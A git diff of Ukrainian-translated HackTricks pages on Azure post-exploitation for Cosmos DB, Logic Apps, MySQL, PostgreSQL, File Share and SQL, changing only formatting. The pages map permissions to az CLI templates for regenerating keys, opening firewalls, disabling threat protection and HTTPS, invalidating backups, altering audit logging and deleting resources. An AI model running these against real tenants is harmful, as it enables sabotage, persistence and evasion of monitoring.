-### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
З цією дозволом ви можете змінити пріоритет відмови регіонів для облікового запису бази даних Azure Cosmos DB. Ця дія визначає порядок, у якому регіони стають основними під час події відмови. Неправильне використання цього дозволу може порушити високу доступність бази даних або призвести до непередбачуваних операційних наслідків.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
-З цією дозволом ви можете відновити первинні або вторинні ключі для облікового запису Azure Cosmos DB. Це зазвичай використовується для підвищення безпеки шляхом заміни старих ключів, але це може порушити доступ для служб або додатків, які покладаються на поточні ключі.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
+З цією дозволом ви можете регенерувати основні або вторинні ключі для облікового запису Azure Cosmos DB. Це зазвичай використовується для підвищення безпеки шляхом заміни старих ключів, але це може порушити доступ для служб або додатків, які покладаються на поточні ключі.
```bash
az cosmosdb keys regenerate \
--name \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
З цією дозволом ви можете створювати або змінювати тригери в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Тригери дозволяють виконувати логіку на стороні сервера у відповідь на операції.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
З цією дозволом ви можете створювати або змінювати збережені процедури в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Збережені процедури в Cosmos DB - це серверні JavaScript функції, які дозволяють вам інкапсулювати логіку для обробки даних або виконання операцій безпосередньо в базі даних.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
-З цією дозволом ви можете створювати або змінювати тригери в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Тригери дозволяють виконувати серверну логіку у відповідь на операції, такі як вставки, оновлення або видалення.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
+З цією дозволом ви можете створювати або змінювати тригери в контейнері SQL бази даних в обліковому записі Azure Cosmos DB. Тригери дозволяють виконувати логіку на стороні сервера у відповідь на операції, такі як вставки, оновлення або видалення.
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
-З цією дозволом ви можете створювати або змінювати колекції в базах даних MongoDB в обліковому записі Azure Cosmos DB. Колекції використовуються для зберігання документів і визначення структури та розподілу даних.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
+З цією дозволом ви можете створювати або змінювати колекції в базах даних MongoDB в обліковому записі Azure Cosmos DB. Колекції використовуються для зберігання документів та визначення структури і розподілу даних.
```bash
az cosmosdb mongodb collection create \
--account-name \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
З цією дозволом ви можете створювати нові бази даних MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє створювати нові бази даних для зберігання та управління колекціями та документами.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
З цією дозволом ви можете створювати нові визначення ролей MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє визначати користувацькі ролі з конкретними дозволами для користувачів MongoDB.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
З цією дозволом ви можете створювати нові визначення користувачів MongoDB в обліковому записі Azure Cosmos DB. Це дозволяє надавати користувачам конкретні ролі та рівні доступу до баз даних MongoDB.
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb user definition create \
--account-name \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
index 33ad460fb..4f202854b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -10,7 +10,7 @@ File Share Post Exploitation
../az-services/az-file-shares.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
Принципал з цим дозволом зможе **переглядати** файли всередині файлової спільноти та **завантажувати** файли, які можуть містити **чутливу інформацію**.
```bash
@@ -28,7 +28,7 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
Принципал з цим дозволом зможе **записувати та перезаписувати файли у файлових спільнотах**, що може дозволити йому завдати шкоди або навіть ескалувати привілеї (наприклад, перезаписати деякий код, збережений у файловій спільноті):
```bash
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index 966d70755..50a9e2b2f 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -3,16 +3,14 @@
{{#include ../../../banners/hacktricks-training.md}}
## Logic Apps Database Post Exploitation
-Для отримання додаткової інформації про логічні програми перегляньте:
+Для отримання додаткової інформації про логічні програми, перегляньте:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
З цими дозволами ви можете змінювати робочі процеси Logic App і керувати їхніми ідентичностями. Зокрема, ви можете призначати або видаляти системно призначені та призначені користувачем керовані ідентичності для робочих процесів, що дозволяє Logic App аутентифікуватися та отримувати доступ до інших ресурсів Azure без явних облікових даних.
-
-{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
-{% endcode %}
-
-### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
-З цими дозволами ви можете створювати або оновлювати Logic Apps, розміщені на App Service Plan. Це включає зміну налаштувань, таких як увімкнення або вимкнення примусу HTTPS.
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
+З цими дозволами ви можете створювати або оновлювати Logic Apps, розміщені на App Service Plan. Це включає зміну налаштувань, таких як увімкнення або вимкнення примусового використання HTTPS.
```bash
az logicapp update \
--resource-group \
--name \
--set httpsOnly=false
```
-{% endcode %}
-
-### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
+### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
З цією дозволом ви можете запускати/зупиняти/перезапускати веб-додаток, включаючи Logic Apps, розміщені на App Service Plan. Ця дія забезпечує, що раніше зупинений додаток знову запускається і відновлює свою функціональність. Це може порушити робочі процеси, викликати непередбачені операції або призвести до простою, несподівано запускаючи, зупиняючи або перезапускаючи Logic Apps.
-
-{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name \
--resource-group
```
-{% endcode %}
-
-
-### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
З цією дозволом ви можете налаштовувати або змінювати параметри веб-додатків, включаючи Logic Apps, розміщені на App Service Plan. Це дозволяє вносити зміни в налаштування додатків, рядки підключення, конфігурації автентифікації та інше.
-
-{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name \
--resource-group \
--settings "="
```
-{% endcode %}
-
-### "Microsoft.Logic/integrationAccounts/write"
+### `Microsoft.Logic/integrationAccounts/write`
З цією дозволом ви можете створювати, оновлювати або видаляти облікові записи інтеграції Azure Logic Apps. Це включає управління конфігураціями на рівні облікового запису інтеграції, такими як карти, схеми, партнери, угоди та інше.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku \
--state Enabled
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
З цією дозволом ви можете створювати або змінювати конфігурації пакетів у обліковому записі інтеграції Azure Logic Apps. Конфігурації пакетів визначають, як Logic Apps обробляють і групують вхідні повідомлення для пакетної обробки.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
З цією дозволом ви можете створювати або змінювати карти в обліковому записі інтеграції Azure Logic Apps. Карти використовуються для перетворення даних з одного формату в інший, що забезпечує безперебійну інтеграцію між різними системами та додатками.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
-З цією дозволом ви можете створювати або змінювати партнерів у обліковому записі інтеграції Azure Logic Apps. Партнери представляють собою сутності або системи, які беруть участь у бізнес-до-бізнес (B2B) робочих процесах.
-
-{% code overflow="wrap" %}
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
+З цією дозволом ви можете створювати або змінювати партнерів у обліковому записі інтеграції Azure Logic Apps. Партнери представляють сутності або системи, які беруть участь у бізнес-до-бізнес (B2B) робочих процесах.
```bash
az logic integration-account partner create \
--resource-group \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
З цією дозволом ви можете створювати або змінювати сесії в обліковому записі інтеграції Azure Logic Apps. Сесії використовуються в B2B робочих процесах для групування повідомлень та відстеження пов'язаних транзакцій протягом визначеного періоду.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group \
@@ -147,8 +112,6 @@ az logic integration-account session create \
}
}'
```
-{% endcode %}
-
### "*/delete"
З цими правами ви можете видаляти ресурси, пов'язані з Azure Logic Apps
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index d9524f479..87891a7a5 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -5,54 +5,40 @@
## MySQL Database Post Exploitation
Для отримання додаткової інформації про MySQL Database перегляньте:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
З цією дозволом ви можете створювати нові бази даних у MySQL Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+### `Microsoft.DBforMySQL/flexibleServers/backups/write`
З цією дозволом ви можете ініціювати створення резервних копій для екземпляра MySQL Flexible Server на Azure. Це дозволяє користувачам генерувати резервні копії за запитом, що може бути корисним для збереження даних у конкретні моменти часу.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
З цією дозволом ви можете налаштувати або оновити параметри Advanced Threat Protection (ATP) для екземпляра MySQL Flexible Server на Azure. Це дозволяє увімкнути або вимкнути функції безпеки, призначені для виявлення та реагування на аномальні дії та потенційні загрози.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
-### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
-
-З цим дозволом ви можете створювати або змінювати правила брандмауера для екземпляра MySQL Flexible Server на Azure. Це дозволяє контролювати, які IP-адреси або діапазони можуть отримати доступ до сервера. Несанкціоноване або неналежне використання цього дозволу може піддати сервер небажаному або шкідливому доступу.
-
-{% code overflow="wrap" %}
+З цією дозволом ви можете створювати або змінювати правила брандмауера для екземпляра MySQL Flexible Server на Azure. Це дозволяє контролювати, які IP-адреси або діапазони можуть отримати доступ до сервера. Несанкціоноване або неналежне використання цього дозволу може піддати сервер небажаному або шкідливому доступу.
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
-### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
-
-З цією дозволом ви можете скинути GTID (Глобальний Ідентифікатор Транзакції) для екземпляра MySQL Flexible Server на Azure. Скидання GTID зробить недійсними всі автоматизовані, за запитом резервні копії та гео-резервні копії, які були зроблені до дії скидання. Після скидання GTID ви не зможете виконати PITR (відновлення в точці часу) за допомогою найшвидшої точки відновлення або за допомогою користувацької точки відновлення, якщо вибраний час відновлення є до часу скидання GTID. І успішне гео-відновлення буде можливим лише через 5 днів.
-
-{% code overflow="wrap" %}
+З цією дозволом ви можете скинути GTID (Глобальний Ідентифікатор Транзакції) для екземпляра MySQL Flexible Server на Azure. Скидання GTID зробить недійсними всі автоматизовані, за запитом резервні копії та гео-резервні копії, які були зроблені до дії скидання. Після скидання GTID ви не зможете виконати PITR (відновлення в точці часу) за допомогою найшвидшої точки відновлення або за допомогою користувацької точки відновлення, якщо вибраний час відновлення є до часу скидання GTID. А успішне гео-відновлення буде можливим лише через 5 днів.
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group \
--gtid-set
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
-### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
-
-З цією дозволом ви можете оновити налаштування конфігурації екземпляра MySQL Flexible Server на Azure. Це дозволяє налаштування параметрів сервера, таких як налаштування продуктивності, конфігурації безпеки або операційні налаштування. Ви можете оновити наступні параметри разом у пакетному режимі: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, і max_connections.
-
-{% code overflow="wrap" %}
+З цією дозволом ви можете оновити налаштування конфігурації екземпляра MySQL Flexible Server на Azure. Це дозволяє налаштувати параметри сервера, такі як налаштування продуктивності, конфігурації безпеки або операційні налаштування. Ви можете оновити наступні параметри разом у пакетному режимі: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors та max_connections.
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
--server-name \
--args max_connections=
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
З цією дозволом ви можете призначити керовану ідентичність, призначену користувачем, для гнучких серверів MySQL.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/stop/action`
-### "Microsoft.DBforMySQL/flexibleServers/stop/action"
-
-З цією дозволом ви можете зупинити екземпляр PostgreSQL Flexible Server на Azure. Зупинка сервера може призвести до тимчасового переривання обслуговування, що вплине на програми та користувачів, які залежать від бази даних.
-
-{% code overflow="wrap" %}
+З цією дозволом ви можете зупинити екземпляр PostgreSQL Flexible Server на Azure. Зупинка сервера може призвести до тимчасового перерви в обслуговуванні, що вплине на програми та користувачів, які залежать від бази даних.
```bash
az mysql flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforMySQL/flexibleServers/start/action"
+### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index f012e3d01..e0aaf66fb 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -5,54 +5,40 @@
## PostgreSQL Database Post Exploitation
Для отримання додаткової інформації про PostgreSQL Database перегляньте:
-{% content-ref url="../az-services/az-postgresql.md" %}
-[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-postgresql.md
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
-З цією дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером.
-
-{% code overflow="wrap" %}
+З цим дозволом ви можете створювати нові бази даних у екземплярі Postgres Flexible Server на Azure. Хоча ця дія сама по собі не змінює існуючі ресурси, надмірне або несанкціоноване створення баз даних може призвести до споживання ресурсів або потенційного зловживання сервером.
```bash
az postgres flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
З цією дозволом ви можете ініціювати створення резервних копій для екземпляра Postgres Flexible Server на Azure. Це дозволяє користувачам генерувати резервні копії за запитом, що може бути корисним для збереження даних у конкретні моменти часу.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
З цією дозволом ви можете налаштувати або оновити параметри Advanced Threat Protection (ATP) для екземпляра Postgres Flexible Server на Azure. Це дозволяє увімкнути або вимкнути функції безпеки, призначені для виявлення та реагування на аномальні дії та потенційні загрози.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
З цією дозволом ви можете створювати або змінювати правила брандмауера для екземпляра Postgres Flexible Server на Azure. Це дозволяє контролювати, які IP-адреси або діапазони можуть отримати доступ до сервера. Несанкціоноване або неналежне використання цього дозволу може піддати сервер небажаному або шкідливому доступу.
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
З цією дозволом ви можете оновлювати налаштування конфігурації екземпляра Postgres Flexible Server на Azure. Це дозволяє налаштовувати параметри сервера, такі як налаштування продуктивності, конфігурації безпеки або операційні налаштування.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name \
--value
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
З цією дозволом ви можете зупинити екземпляр PostgreSQL Flexible Server на Azure. Зупинка сервера може призвести до тимчасового перерви в обслуговуванні, що вплине на програми та користувачів, які залежать від бази даних.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index f4940adf7..b2618c515 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -10,7 +10,7 @@
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
З цими дозволами зловмисник може створювати та оновлювати бази даних у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії.
```bash
@@ -20,7 +20,7 @@ az sql db create --resource-group --server --name
# Update Database
az sql db update --resource-group --server --name --max-size
```
-### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
З цими дозволами зловмисник може створювати та оновлювати elasticPools у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії.
```bash
@@ -40,9 +40,9 @@ az sql elastic-pool update \
--dtu \
--tags
```
-### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
-З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту в місце, що знаходиться під їх контролем. Це може заважати моніторингу безпеки або дозволити йому відстежувати дії. ПРИМІТКА: Щоб активувати аудит для Azure SQL Server за допомогою Blob Storage, ви повинні підключити обліковий запис зберігання, куди можуть зберігатися журнали аудиту.
